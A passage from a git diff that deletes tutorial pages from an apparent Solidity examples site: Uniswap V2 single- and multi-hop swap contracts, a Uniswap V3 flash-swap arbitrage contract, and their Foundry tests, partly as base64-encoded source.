dldGguZGVwb3NpdHt2YWx1ZTogd2V0aEFtb3VudH0oKTsKICAgICAgICB3ZXRoLmFwcHJvdmUoYWRkcmVzcyh1bmkpLCB3ZXRoQW1vdW50KTsKCiAgICAgICAgdWludCBkYWlBbW91bnRNaW4gPSAxOwogICAgICAgIHVpbnQgZGFpQW1vdW50T3V0ID0gdW5pLnN3YXBTaW5nbGVIb3BFeGFjdEFtb3VudEluKHdldGhBbW91bnQsIGRhaUFtb3VudE1pbik7CgogICAgICAgIGNvbnNvbGUubG9nKCJEQUkiLCBkYWlBbW91bnRPdXQpOwogICAgICAgIGFzc2VydEdlKGRhaUFtb3VudE91dCwgZGFpQW1vdW50TWluLCAiYW1vdW50IG91dCA8IG1pbiIpOwogICAgfQoKICAgIC8vIFN3YXAgREFJIC0+IFdFVEggLT4gVVNEQwogICAgZnVuY3Rpb24gdGVzdFN3YXBNdWx0aUhvcEV4YWN0QW1vdW50SW4oKSBwdWJsaWMgewogICAgICAgIC8vIFN3YXAgV0VUSCAtPiBEQUkKICAgICAgICB1aW50IHdldGhBbW91bnQgPSAxZTE4OwogICAgICAgIHdldGguZGVwb3NpdHt2YWx1ZTogd2V0aEFtb3VudH0oKTsKICAgICAgICB3ZXRoLmFwcHJvdmUoYWRkcmVzcyh1bmkpLCB3ZXRoQW1vdW50KTsKCiAgICAgICAgdWludCBkYWlBbW91bnRNaW4gPSAxOwogICAgICAgIHVuaS5zd2FwU2luZ2xlSG9wRXhhY3RBbW91bnRJbih3ZXRoQW1vdW50LCBkYWlBbW91bnRNaW4pOwoKICAgICAgICAvLyBTd2FwIERBSSAtPiBXRVRIIC0+IFVTREMKICAgICAgICB1aW50IGRhaUFtb3VudEluID0gMWUxODsKICAgICAgICBkYWkuYXBwcm92ZShhZGRyZXNzKHVuaSksIGRhaUFtb3VudEluKTsKCiAgICAgICAgdWludCB1c2RjQW1vdW50T3V0TWluID0gMTsKICAgICAgICB1aW50IHVzZGNBbW91bnRPdXQgPSB1bmkuc3dhcE11bHRpSG9wRXhhY3RBbW91bnRJbigKICAgICAgICAgICAgZGFpQW1vdW50SW4sCiAgICAgICAgICAgIHVzZGNBbW91bnRPdXRNaW4KICAgICAgICApOwoKICAgICAgICBjb25zb2xlLmxvZygiVVNEQyIsIHVzZGNBbW91bnRPdXQpOwogICAgICAgIGFzc2VydEdlKHVzZGNBbW91bnRPdXQsIHVzZGNBbW91bnRPdXRNaW4sICJhbW91bnQgb3V0IDwgbWluIik7CiAgICB9CgogICAgLy8gU3dhcCBXRVRIIC0+IERBSQogICAgZnVuY3Rpb24gdGVzdFN3YXBTaW5nbGVIb3BFeGFjdEFtb3VudE91dCgpIHB1YmxpYyB7CiAgICAgICAgdWludCB3ZXRoQW1vdW50ID0gMWUxODsKICAgICAgICB3ZXRoLmRlcG9zaXR7dmFsdWU6IHdldGhBbW91bnR9KCk7CiAgICAgICAgd2V0aC5hcHByb3ZlKGFkZHJlc3ModW5pKSwgd2V0aEFtb3VudCk7CgogICAgICAgIHVpbnQgZGFpQW1vdW50RGVzaXJlZCA9IDFlMTg7CiAgICAgICAgdWludCBkYWlBbW91bnRPdXQgPSB1bmkuc3dhcFNpbmdsZUhvcEV4YWN0QW1vdW50T3V0KAogICAgICAgICAgICBkYWlBbW91bnREZXNpcmVkLAogICAgICAgICAgICB3ZXRoQW1vdW50CiAgICAgICAgKTsKCiAgICAgICAgY29uc29sZS5sb2coIkRBSSIsIGRhaUFtb3VudE91dCk7CiAgICAgICAgYXNzZXJ0RXEoZGFpQW1vdW50T3V0LCBkYWlBbW91bnREZXNpcmVkLCAiYW1vdW50IG91dCAhPSBhbW91bnQgb3V0IGRlc2lyZWQiKTsKICAgIH0KCiAgICAvLyBTd2FwIERBSSAtPiBXRVRIIC0+IFVTREMKICAgIGZ1bmN0aW9uIHRlc3RTd2FwTXVsdGlIb3BFeGFjdEFtb3VudE91dCgpIHB1YmxpYyB7CiAgICAgICAgLy8gU3dhcCBXRVRIIC0+IERBSQogICAgICAgIHVpbnQgd2V0aEFtb3VudCA9IDFlMTg7CiAgICAgICAgd2V0aC5kZXBvc2l0e3ZhbHVlOiB3ZXRoQW1vdW50fSgpOwogICAgICAgIHdldGguYXBwcm92ZShhZGRyZXNzKHVuaSksIHdldGhBbW91bnQpOwoKICAgICAgICAvLyBCdXkgMTAwIERBSQogICAgICAgIHVpbnQgZGFpQW1vdW50T3V0ID0gMTAwICogMWUxODsKICAgICAgICB1bmkuc3dhcFNpbmdsZUhvcEV4YWN0QW1vdW50T3V0KGRhaUFtb3VudE91dCwgd2V0aEFtb3VudCk7CgogICAgICAgIC8vIFN3YXAgREFJIC0+IFdFVEggLT4gVVNEQwogICAgICAgIGRhaS5hcHByb3ZlKGFkZHJlc3ModW5pKSwgZGFpQW1vdW50T3V0KTsKCiAgICAgICAgdWludCBhbW91bnRPdXREZXNpcmVkID0gMWU2OwogICAgICAgIHVpbnQgYW1vdW50T3V0ID0gdW5pLnN3YXBNdWx0aUhvcEV4YWN0QW1vdW50T3V0KGFtb3VudE91dERlc2lyZWQsIGRhaUFtb3VudE91dCk7CgogICAgICAgIGNvbnNvbGUubG9nKCJVU0RDIiwgYW1vdW50T3V0KTsKICAgICAgICBhc3NlcnRFcShhbW91bnRPdXQsIGFtb3VudE91dERlc2lyZWQsICJhbW91bnQgb3V0ICE9IGFtb3VudCBvdXQgZGVzaXJlZCIpOwogICAgfQp9Cg==", - }, -] - -const html = `

swapExactTokensForTokens sells all tokens for another.

-

swapTokensForExactTokens buys specific amount of tokens set by the caller.

-
// SPDX-License-Identifier: MIT
-pragma solidity ^0.8.20;
-
-contract UniswapV2SwapExamples {
-    address private constant UNISWAP_V2_ROUTER =
-        0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
-
-    address private constant WETH = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;
-    address private constant DAI = 0x6B175474E89094C44Da98b954EedeAC495271d0F;
-    address constant USDC = 0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48;
-
-    IUniswapV2Router private router = IUniswapV2Router(UNISWAP_V2_ROUTER);
-    IERC20 private weth = IERC20(WETH);
-    IERC20 private dai = IERC20(DAI);
-
-    // Swap WETH to DAI
-    function swapSingleHopExactAmountIn(
-        uint amountIn,
-        uint amountOutMin
-    ) external returns (uint amountOut) {
-        weth.transferFrom(msg.sender, address(this), amountIn);
-        weth.approve(address(router), amountIn);
-
-        address[] memory path;
-        path = new address[](2);
-        path[0] = WETH;
-        path[1] = DAI;
-
-        uint[] memory amounts = router.swapExactTokensForTokens(
-            amountIn,
-            amountOutMin,
-            path,
-            msg.sender,
-            block.timestamp
-        );
-
-        // amounts[0] = WETH amount, amounts[1] = DAI amount
-        return amounts[1];
-    }
-
-    // Swap DAI -> WETH -> USDC
-    function swapMultiHopExactAmountIn(
-        uint amountIn,
-        uint amountOutMin
-    ) external returns (uint amountOut) {
-        dai.transferFrom(msg.sender, address(this), amountIn);
-        dai.approve(address(router), amountIn);
-
-        address[] memory path;
-        path = new address[](3);
-        path[0] = DAI;
-        path[1] = WETH;
-        path[2] = USDC;
-
-        uint[] memory amounts = router.swapExactTokensForTokens(
-            amountIn,
-            amountOutMin,
-            path,
-            msg.sender,
-            block.timestamp
-        );
-
-        // amounts[0] = DAI amount
-        // amounts[1] = WETH amount
-        // amounts[2] = USDC amount
-        return amounts[2];
-    }
-
-    // Swap WETH to DAI
-    function swapSingleHopExactAmountOut(
-        uint amountOutDesired,
-        uint amountInMax
-    ) external returns (uint amountOut) {
-        weth.transferFrom(msg.sender, address(this), amountInMax);
-        weth.approve(address(router), amountInMax);
-
-        address[] memory path;
-        path = new address[](2);
-        path[0] = WETH;
-        path[1] = DAI;
-
-        uint[] memory amounts = router.swapTokensForExactTokens(
-            amountOutDesired,
-            amountInMax,
-            path,
-            msg.sender,
-            block.timestamp
-        );
-
-        // Refund WETH to msg.sender
-        if (amounts[0] < amountInMax) {
-            weth.transfer(msg.sender, amountInMax - amounts[0]);
-        }
-
-        return amounts[1];
-    }
-
-    // Swap DAI -> WETH -> USDC
-    function swapMultiHopExactAmountOut(
-        uint amountOutDesired,
-        uint amountInMax
-    ) external returns (uint amountOut) {
-        dai.transferFrom(msg.sender, address(this), amountInMax);
-        dai.approve(address(router), amountInMax);
-
-        address[] memory path;
-        path = new address[](3);
-        path[0] = DAI;
-        path[1] = WETH;
-        path[2] = USDC;
-
-        uint[] memory amounts = router.swapTokensForExactTokens(
-            amountOutDesired,
-            amountInMax,
-            path,
-            msg.sender,
-            block.timestamp
-        );
-
-        // Refund DAI to msg.sender
-        if (amounts[0] < amountInMax) {
-            dai.transfer(msg.sender, amountInMax - amounts[0]);
-        }
-
-        return amounts[2];
-    }
-}
-
-interface IUniswapV2Router {
-    function swapExactTokensForTokens(
-        uint amountIn,
-        uint amountOutMin,
-        address[] calldata path,
-        address to,
-        uint deadline
-    ) external returns (uint[] memory amounts);
-
-    function swapTokensForExactTokens(
-        uint amountOut,
-        uint amountInMax,
-        address[] calldata path,
-        address to,
-        uint deadline
-    ) external returns (uint[] memory amounts);
-}
-
-interface IERC20 {
-    function totalSupply() external view returns (uint);
-
-    function balanceOf(address account) external view returns (uint);
-
-    function transfer(address recipient, uint amount) external returns (bool);
-
-    function allowance(address owner, address spender) external view returns (uint);
-
-    function approve(address spender, uint amount) external returns (bool);
-
-    function transferFrom(
-        address sender,
-        address recipient,
-        uint amount
-    ) external returns (bool);
-
-    event Transfer(address indexed from, address indexed to, uint value);
-    event Approval(address indexed owner, address indexed spender, uint value);
-}
-
-interface IWETH is IERC20 {
-    function deposit() external payable;
-
-    function withdraw(uint amount) external;
-}
-

Test with Foundry

-
// SPDX-License-Identifier: MIT
-pragma solidity ^0.8.20;
-
-import "forge-std/Test.sol";
-import "forge-std/console.sol";
-
-import "../src/UniswapV2SwapExamples.sol";
-
-address constant WETH = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;
-address constant DAI = 0x6B175474E89094C44Da98b954EedeAC495271d0F;
-address constant USDC = 0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48;
-
-contract UniswapV2SwapExamplesTest is Test {
-    IWETH private weth = IWETH(WETH);
-    IERC20 private dai = IERC20(DAI);
-    IERC20 private usdc = IERC20(USDC);
-
-    UniswapV2SwapExamples private uni = new UniswapV2SwapExamples();
-
-    function setUp() public {}
-
-    // Swap WETH -> DAI
-    function testSwapSingleHopExactAmountIn() public {
-        uint wethAmount = 1e18;
-        weth.deposit{value: wethAmount}();
-        weth.approve(address(uni), wethAmount);
-
-        uint daiAmountMin = 1;
-        uint daiAmountOut = uni.swapSingleHopExactAmountIn(wethAmount, daiAmountMin);
-
-        console.log("DAI", daiAmountOut);
-        assertGe(daiAmountOut, daiAmountMin, "amount out < min");
-    }
-
-    // Swap DAI -> WETH -> USDC
-    function testSwapMultiHopExactAmountIn() public {
-        // Swap WETH -> DAI
-        uint wethAmount = 1e18;
-        weth.deposit{value: wethAmount}();
-        weth.approve(address(uni), wethAmount);
-
-        uint daiAmountMin = 1;
-        uni.swapSingleHopExactAmountIn(wethAmount, daiAmountMin);
-
-        // Swap DAI -> WETH -> USDC
-        uint daiAmountIn = 1e18;
-        dai.approve(address(uni), daiAmountIn);
-
-        uint usdcAmountOutMin = 1;
-        uint usdcAmountOut = uni.swapMultiHopExactAmountIn(
-            daiAmountIn,
-            usdcAmountOutMin
-        );
-
-        console.log("USDC", usdcAmountOut);
-        assertGe(usdcAmountOut, usdcAmountOutMin, "amount out < min");
-    }
-
-    // Swap WETH -> DAI
-    function testSwapSingleHopExactAmountOut() public {
-        uint wethAmount = 1e18;
-        weth.deposit{value: wethAmount}();
-        weth.approve(address(uni), wethAmount);
-
-        uint daiAmountDesired = 1e18;
-        uint daiAmountOut = uni.swapSingleHopExactAmountOut(
-            daiAmountDesired,
-            wethAmount
-        );
-
-        console.log("DAI", daiAmountOut);
-        assertEq(daiAmountOut, daiAmountDesired, "amount out != amount out desired");
-    }
-
-    // Swap DAI -> WETH -> USDC
-    function testSwapMultiHopExactAmountOut() public {
-        // Swap WETH -> DAI
-        uint wethAmount = 1e18;
-        weth.deposit{value: wethAmount}();
-        weth.approve(address(uni), wethAmount);
-
-        // Buy 100 DAI
-        uint daiAmountOut = 100 * 1e18;
-        uni.swapSingleHopExactAmountOut(daiAmountOut, wethAmount);
-
-        // Swap DAI -> WETH -> USDC
-        dai.approve(address(uni), daiAmountOut);
-
-        uint amountOutDesired = 1e6;
-        uint amountOut = uni.swapMultiHopExactAmountOut(amountOutDesired, daiAmountOut);
-
-        console.log("USDC", amountOut);
-        assertEq(amountOut, amountOutDesired, "amount out != amount out desired");
-    }
-}
-
` - -export default html diff --git a/src/pages/defi/uniswap-v2/index.md b/src/pages/defi/uniswap-v2/index.md deleted file mode 100644 index a8d276f30..000000000 --- a/src/pages/defi/uniswap-v2/index.md +++ /dev/null @@ -1,20 +0,0 @@ ---- -title: Uniswap V2 Swap -version: 0.8.20 -description: Uniswap V2 swap -keywords: [defi, uniswap, v2, swap, amm] ---- - -`swapExactTokensForTokens` sells all tokens for another. - -`swapTokensForExactTokens` buys specific amount of tokens set by the caller. - -```solidity -{{{UniswapV2SwapExamples}}} -``` - -### Test with Foundry - -```solidity -{{{UniswapV2SwapExamplesTest}}} -``` diff --git a/src/pages/defi/uniswap-v2/index.tsx b/src/pages/defi/uniswap-v2/index.tsx deleted file mode 100644 index 1c63a4f4a..000000000 --- a/src/pages/defi/uniswap-v2/index.tsx +++ /dev/null @@ -1,29 +0,0 @@ -import React from "react" -import Example from "../../../components/Example" -import html, { version, title, description, codes } from "./index.html" - -interface Path { - path: string - title: string -} - -interface Props { - prev: Path | null - next: Path | null -} - -const ExamplePage: React.FC = ({ prev, next }) => { - return ( - - ) -} - -export default ExamplePage diff --git a/src/pages/defi/uniswap-v3-flash-swap/UniswapV3FlashSwap.sol b/src/pages/defi/uniswap-v3-flash-swap/UniswapV3FlashSwap.sol deleted file mode 100644 index b442f3b56..000000000 --- a/src/pages/defi/uniswap-v3-flash-swap/UniswapV3FlashSwap.sol +++ /dev/null @@ -1,158 +0,0 @@ -// SPDX-License-Identifier: MIT -pragma solidity ^0.8.20; - -contract UniswapV3FlashSwap { - ISwapRouter constant router = - ISwapRouter(0xE592427A0AEce92De3Edee1F18E0157C05861564); - - uint160 internal constant MIN_SQRT_RATIO = 4295128739; - uint160 internal constant MAX_SQRT_RATIO = - 1461446703485210103287273052203988822378723970342; - - // Example WETH/USDC - // Sell WETH high -> Buy WETH low -> WETH profit - // WETH in -> USDC out -> USDC in -> WETH out -> WETH profit - function flashSwap( - address pool0, - uint24 fee1, - address tokenIn, - address tokenOut, - uint amountIn - ) external { - bool zeroForOne = tokenIn < tokenOut; - uint160 sqrtPriceLimitX96 = zeroForOne - ? MIN_SQRT_RATIO + 1 - : MAX_SQRT_RATIO - 1; - bytes memory data = abi.encode( - msg.sender, - pool0, - fee1, - tokenIn, - tokenOut, - amountIn, - zeroForOne - ); - - IUniswapV3Pool(pool0).swap( - address(this), - zeroForOne, - int(amountIn), - sqrtPriceLimitX96, - data - ); - } - - function uniswapV3SwapCallback( - int amount0, - int amount1, - bytes calldata data - ) external { - ( - address caller, - address pool0, - uint24 fee1, - address tokenIn, - address tokenOut, - uint amountIn, - bool zeroForOne - ) = abi.decode(data, (address, address, uint24, address, address, uint, bool)); - - require(msg.sender == address(pool0), "not authorized"); - - uint amountOut; - if (zeroForOne) { - amountOut = uint(-amount1); - } else { - amountOut = uint(-amount0); - } - - uint buyBackAmount = _swap(tokenOut, tokenIn, fee1, amountOut); - - if (buyBackAmount >= amountIn) { - uint profit = buyBackAmount - amountIn; - IERC20(tokenIn).transfer(address(pool0), amountIn); - IERC20(tokenIn).transfer(caller, profit); - } else { - uint loss = amountIn - buyBackAmount; - IERC20(tokenIn).transferFrom(caller, address(this), loss); - IERC20(tokenIn).transfer(address(pool0), amountIn); - } - } - - function _swap( - address tokenIn, - address tokenOut, - uint24 fee, - uint amountIn - ) private returns (uint amountOut) { - IERC20(tokenIn).approve(address(router), amountIn); - - ISwapRouter.ExactInputSingleParams memory params = ISwapRouter - .ExactInputSingleParams({ - tokenIn: tokenIn, - tokenOut: tokenOut, - fee: fee, - recipient: address(this), - deadline: block.timestamp, - amountIn: amountIn, - amountOutMinimum: 0, - sqrtPriceLimitX96: 0 - }); - - amountOut = router.exactInputSingle(params); - } -} - -interface ISwapRouter { - struct ExactInputSingleParams { - address tokenIn; - address tokenOut; - uint24 fee; - address recipient; - uint deadline; - uint amountIn; - uint amountOutMinimum; - uint160 sqrtPriceLimitX96; - } - - function exactInputSingle( - ExactInputSingleParams calldata params - ) external payable returns (uint amountOut); -} - -interface IUniswapV3Pool { - function swap( - address recipient, - bool zeroForOne, - int amountSpecified, - uint160 sqrtPriceLimitX96, - bytes calldata data - ) external returns (int amount0, int amount1); -} - -interface IERC20 { - function totalSupply() external view returns (uint); - - function balanceOf(address account) external view returns (uint); - - function transfer(address recipient, uint amount) external returns (bool); - - function allowance(address owner, address spender) external view returns (uint); - - function approve(address spender, uint amount) external returns (bool); - - function transferFrom( - address sender, - address recipient, - uint amount - ) external returns (bool); - - event Transfer(address indexed from, address indexed to, uint value); - event Approval(address indexed owner, address indexed spender, uint value); -} - -interface IWETH is IERC20 { - function deposit() external payable; - - function withdraw(uint amount) external; -} diff --git a/src/pages/defi/uniswap-v3-flash-swap/UniswapV3FlashSwapTest.sol b/src/pages/defi/uniswap-v3-flash-swap/UniswapV3FlashSwapTest.sol deleted file mode 100644 index 7460fd413..000000000 --- a/src/pages/defi/uniswap-v3-flash-swap/UniswapV3FlashSwapTest.sol +++ /dev/null @@ -1,41 +0,0 @@ -// SPDX-License-Identifier: MIT -pragma solidity ^0.8.20; - -import "forge-std/Test.sol"; -import "forge-std/console.sol"; - -import "../src/UniswapV3FlashSwap.sol"; - -contract UniswapV3FlashSwapTest is Test { - address private constant WETH = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2; - address private constant USDC = 0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48; - - IWETH private weth = IWETH(WETH); - - UniswapV3FlashSwap private uni = new UniswapV3FlashSwap(); - - function setUp() public {} - - function testFlashSwap() public { - // USDC / WETH pool - address pool0 = 0x8ad599c3A0ff1De082011EFDDc58f1908eb6e6D8; - uint24 fee0 = 3000; - address pool1 = 0x88e6A0c2dDD26FEEb64F039a2c41296FcB3f5640; - uint24 fee1 = 500; - - // Approve WETH fee - uint wethMaxFee = 1e18; - weth.deposit{value: wethMaxFee}(); - weth.approve(address(uni), wethMaxFee); - - uint balBefore = weth.balanceOf(address(this)); - uni.flashSwap(pool0, fee1, WETH, USDC, 10 * 1e18); - uint balAfter = weth.balanceOf(address(this)); - - if (balAfter >= balBefore) { - console.log("WETH profit", balAfter - balBefore); - } else { - console.log("WETH loss", balBefore - balAfter); - } - } -} diff --git a/src/pages/defi/uniswap-v3-flash-swap/index.html.ts b/src/pages/defi/uniswap-v3-flash-swap/index.html.ts deleted file mode 100644 index 05ae2aaca..000000000 --- a/src/pages/defi/uniswap-v3-flash-swap/index.html.ts +++ /dev/null @@ -1,233 +0,0 @@ -// metadata -export const version = "0.8.20" -export const title = "Uniswap V3 Flash Swap Arbitrage" -export const description = "Uniswap V3 Flash Swap Arbitrage" - -export const keywords = ["defi", "uniswap", "v3", "swap", "arbitrage", "amm"] - -export const codes = [ - { - fileName: "UniswapV3FlashSwap.sol", - code: "Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yMDsKCmNvbnRyYWN0IFVuaXN3YXBWM0ZsYXNoU3dhcCB7CiAgICBJU3dhcFJvdXRlciBjb25zdGFudCByb3V0ZXIgPQogICAgICAgIElTd2FwUm91dGVyKDB4RTU5MjQyN0EwQUVjZTkyRGUzRWRlZTFGMThFMDE1N0MwNTg2MTU2NCk7CgogICAgdWludDE2MCBpbnRlcm5hbCBjb25zdGFudCBNSU5fU1FSVF9SQVRJTyA9IDQyOTUxMjg3Mzk7CiAgICB1aW50MTYwIGludGVybmFsIGNvbnN0YW50IE1BWF9TUVJUX1JBVElPID0KICAgICAgICAxNDYxNDQ2NzAzNDg1MjEwMTAzMjg3MjczMDUyMjAzOTg4ODIyMzc4NzIzOTcwMzQyOwoKICAgIC8vIEV4YW1wbGUgV0VUSC9VU0RDCiAgICAvLyBTZWxsIFdFVEggaGlnaCAgICAgIC0+IEJ1eSBXRVRIIGxvdyAgICAgICAgLT4gV0VUSCBwcm9maXQKICAgIC8vIFdFVEggaW4gLT4gVVNEQyBvdXQgLT4gVVNEQyBpbiAtPiBXRVRIIG91dCAtPiBXRVRIIHByb2ZpdAogICAgZnVuY3Rpb24gZmxhc2hTd2FwKAogICAgICAgIGFkZHJlc3MgcG9vbDAsCiAgICAgICAgdWludDI0IGZlZTEsCiAgICAgICAgYWRkcmVzcyB0b2tlbkluLAogICAgICAgIGFkZHJlc3MgdG9rZW5PdXQsCiAgICAgICAgdWludCBhbW91bnRJbgogICAgKSBleHRlcm5hbCB7CiAgICAgICAgYm9vbCB6ZXJvRm9yT25lID0gdG9rZW5JbiA8IHRva2VuT3V0OwogICAgICAgIHVpbnQxNjAgc3FydFByaWNlTGltaXRYOTYgPSB6ZXJvRm9yT25lCiAgICAgICAgICAgID8gTUlOX1NRUlRfUkFUSU8gKyAxCiAgICAgICAgICAgIDogTUFYX1NRUlRfUkFUSU8gLSAxOwogICAgICAgIGJ5dGVzIG1lbW9yeSBkYXRhID0gYWJpLmVuY29kZSgKICAgICAgICAgICAgbXNnLnNlbmRlciwKICAgICAgICAgICAgcG9vbDAsCiAgICAgICAgICAgIGZlZTEsCiAgICAgICAgICAgIHRva2VuSW4sCiAgICAgICAgICAgIHRva2VuT3V0LAogICAgICAgICAgICBhbW91bnRJbiwKICAgICAgICAgICAgemVyb0Zvck9uZQogICAgICAgICk7CgogICAgICAgIElVbmlzd2FwVjNQb29sKHBvb2wwKS5zd2FwKAogICAgICAgICAgICBhZGRyZXNzKHRoaXMpLAogICAgICAgICAgICB6ZXJvRm9yT25lLAogICAgICAgICAgICBpbnQoYW1vdW50SW4pLAogICAgICAgICAgICBzcXJ0UHJpY2VMaW1pdFg5NiwKICAgICAgICAgICAgZGF0YQogICAgICAgICk7CiAgICB9CgogICAgZnVuY3Rpb24gdW5pc3dhcFYzU3dhcENhbGxiYWNrKAogICAgICAgIGludCBhbW91bnQwLAogICAgICAgIGludCBhbW91bnQxLAogICAgICAgIGJ5dGVzIGNhbGxkYXRhIGRhdGEKICAgICkgZXh0ZXJuYWwgewogICAgICAgICgKICAgICAgICAgICAgYWRkcmVzcyBjYWxsZXIsCiAgICAgICAgICAgIGFkZHJlc3MgcG9vbDAsCiAgICAgICAgICAgIHVpbnQyNCBmZWUxLAogICAgICAgICAgICBhZGRyZXNzIHRva2VuSW4sCiAgICAgICAgICAgIGFkZHJlc3MgdG9rZW5PdXQsCiAgICAgICAgICAgIHVpbnQgYW1vdW50SW4sCiAgICAgICAgICAgIGJvb2wgemVyb0Zvck9uZQogICAgICAgICkgPSBhYmkuZGVjb2RlKGRhdGEsIChhZGRyZXNzLCBhZGRyZXNzLCB1aW50MjQsIGFkZHJlc3MsIGFkZHJlc3MsIHVpbnQsIGJvb2wpKTsKCiAgICAgICAgcmVxdWlyZShtc2cuc2VuZGVyID09IGFkZHJlc3MocG9vbDApLCAibm90IGF1dGhvcml6ZWQiKTsKCiAgICAgICAgdWludCBhbW91bnRPdXQ7CiAgICAgICAgaWYgKHplcm9Gb3JPbmUpIHsKICAgICAgICAgICAgYW1vdW50T3V0ID0gdWludCgtYW1vdW50MSk7CiAgICAgICAgfSBlbHNlIHsKICAgICAgICAgICAgYW1vdW50T3V0ID0gdWludCgtYW1vdW50MCk7CiAgICAgICAgfQoKICAgICAgICB1aW50IGJ1eUJhY2tBbW91bnQgPSBfc3dhcCh0b2tlbk91dCwgdG9rZW5JbiwgZmVlMSwgYW1vdW50T3V0KTsKCiAgICAgICAgaWYgKGJ1eUJhY2tBbW91bnQgPj0gYW1vdW50SW4pIHsKICAgICAgICAgICAgdWludCBwcm9maXQgPSBidXlCYWNrQW1vdW50IC0gYW1vdW50SW47CiAgICAgICAgICAgIElFUkMyMCh0b2tlbkluKS50cmFuc2ZlcihhZGRyZXNzKHBvb2wwKSwgYW1vdW50SW4pOwogICAgICAgICAgICBJRVJDMjAodG9rZW5JbikudHJhbnNmZXIoY2FsbGVyLCBwcm9maXQpOwogICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAgIHVpbnQgbG9zcyA9IGFtb3VudEluIC0gYnV5QmFja0Ftb3VudDsKICAgICAgICAgICAgSUVSQzIwKHRva2VuSW4pLnRyYW5zZmVyRnJvbShjYWxsZXIsIGFkZHJlc3ModGhpcyksIGxvc3MpOwogICAgICAgICAgICBJRVJDMjAodG9rZW5JbikudHJhbnNmZXIoYWRkcmVzcyhwb29sMCksIGFtb3VudEluKTsKICAgICAgICB9CiAgICB9CgogICAgZnVuY3Rpb24gX3N3YXAoCiAgICAgICAgYWRkcmVzcyB0b2tlbkluLAogICAgICAgIGFkZHJlc3MgdG9rZW5PdXQsCiAgICAgICAgdWludDI0IGZlZSwKICAgICAgICB1aW50IGFtb3VudEluCiAgICApIHByaXZhdGUgcmV0dXJucyAodWludCBhbW91bnRPdXQpIHsKICAgICAgICBJRVJDMjAodG9rZW5JbikuYXBwcm92ZShhZGRyZXNzKHJvdXRlciksIGFtb3VudEluKTsKCiAgICAgICAgSVN3YXBSb3V0ZXIuRXhhY3RJbnB1dFNpbmdsZVBhcmFtcyBtZW1vcnkgcGFyYW1zID0gSVN3YXBSb3V0ZXIKICAgICAgICAgICAgLkV4YWN0SW5wdXRTaW5nbGVQYXJhbXMoewogICAgICAgICAgICAgICAgdG9rZW5JbjogdG9rZW5JbiwKICAgICAgICAgICAgICAgIHRva2VuT3V0OiB0b2tlbk91dCwKICAgICAgICAgICAgICAgIGZlZTogZmVlLAogICAgICAgICAgICAgICAgcmVjaXBpZW50OiBhZGRyZXNzKHRoaXMpLAogICAgICAgICAgICAgICAgZGVhZGxpbmU6IGJsb2NrLnRpbWVzdGFtcCwKICAgICAgICAgICAgICAgIGFtb3VudEluOiBhbW91bnRJbiwKICAgICAgICAgICAgICAgIGFtb3VudE91dE1pbmltdW06IDAsCiAgICAgICAgICAgICAgICBzcXJ0UHJpY2VMaW1pdFg5NjogMAogICAgICAgICAgICB9KTsKCiAgICAgICAgYW1vdW50T3V0ID0gcm91dGVyLmV4YWN0SW5wdXRTaW5nbGUocGFyYW1zKTsKICAgIH0KfQoKaW50ZXJmYWNlIElTd2FwUm91dGVyIHsKICAgIHN0cnVjdCBFeGFjdElucHV0U2luZ2xlUGFyYW1zIHsKICAgICAgICBhZGRyZXNzIHRva2VuSW47CiAgICAgICAgYWRkcmVzcyB0b2tlbk91dDsKICAgICAgICB1aW50MjQgZmVlOwogICAgICAgIGFkZHJlc3MgcmVjaXBpZW50OwogICAgICAgIHVpbnQgZGVhZGxpbmU7CiAgICAgICAgdWludCBhbW91bnRJbjsKICAgICAgICB1aW50IGFtb3VudE91dE1pbmltdW07CiAgICAgICAgdWludDE2MCBzcXJ0UHJpY2VMaW1pdFg5NjsKICAgIH0KCiAgICBmdW5jdGlvbiBleGFjdElucHV0U2luZ2xlKAogICAgICAgIEV4YWN0SW5wdXRTaW5nbGVQYXJhbXMgY2FsbGRhdGEgcGFyYW1zCiAgICApIGV4dGVybmFsIHBheWFibGUgcmV0dXJucyAodWludCBhbW91bnRPdXQpOwp9CgppbnRlcmZhY2UgSVVuaXN3YXBWM1Bvb2wgewogICAgZnVuY3Rpb24gc3dhcCgKICAgICAgICBhZGRyZXNzIHJlY2lwaWVudCwKICAgICAgICBib29sIHplcm9Gb3JPbmUsCiAgICAgICAgaW50IGFtb3VudFNwZWNpZmllZCwKICAgICAgICB1aW50MTYwIHNxcnRQcmljZUxpbWl0WDk2LAogICAgICAgIGJ5dGVzIGNhbGxkYXRhIGRhdGEKICAgICkgZXh0ZXJuYWwgcmV0dXJucyAoaW50IGFtb3VudDAsIGludCBhbW91bnQxKTsKfQoKaW50ZXJmYWNlIElFUkMyMCB7CiAgICBmdW5jdGlvbiB0b3RhbFN1cHBseSgpIGV4dGVybmFsIHZpZXcgcmV0dXJucyAodWludCk7CgogICAgZnVuY3Rpb24gYmFsYW5jZU9mKGFkZHJlc3MgYWNjb3VudCkgZXh0ZXJuYWwgdmlldyByZXR1cm5zICh1aW50KTsKCiAgICBmdW5jdGlvbiB0cmFuc2ZlcihhZGRyZXNzIHJlY2lwaWVudCwgdWludCBhbW91bnQpIGV4dGVybmFsIHJldHVybnMgKGJvb2wpOwoKICAgIGZ1bmN0aW9uIGFsbG93YW5jZShhZGRyZXNzIG93bmVyLCBhZGRyZXNzIHNwZW5kZXIpIGV4dGVybmFsIHZpZXcgcmV0dXJucyAodWludCk7CgogICAgZnVuY3Rpb24gYXBwcm92ZShhZGRyZXNzIHNwZW5kZXIsIHVpbnQgYW1vdW50KSBleHRlcm5hbCByZXR1cm5zIChib29sKTsKCiAgICBmdW5jdGlvbiB0cmFuc2ZlckZyb20oCiAgICAgICAgYWRkcmVzcyBzZW5kZXIsCiAgICAgICAgYWRkcmVzcyByZWNpcGllbnQsCiAgICAgICAgdWludCBhbW91bnQKICAgICkgZXh0ZXJuYWwgcmV0dXJucyAoYm9vbCk7CgogICAgZXZlbnQgVHJhbnNmZXIoYWRkcmVzcyBpbmRleGVkIGZyb20sIGFkZHJlc3MgaW5kZX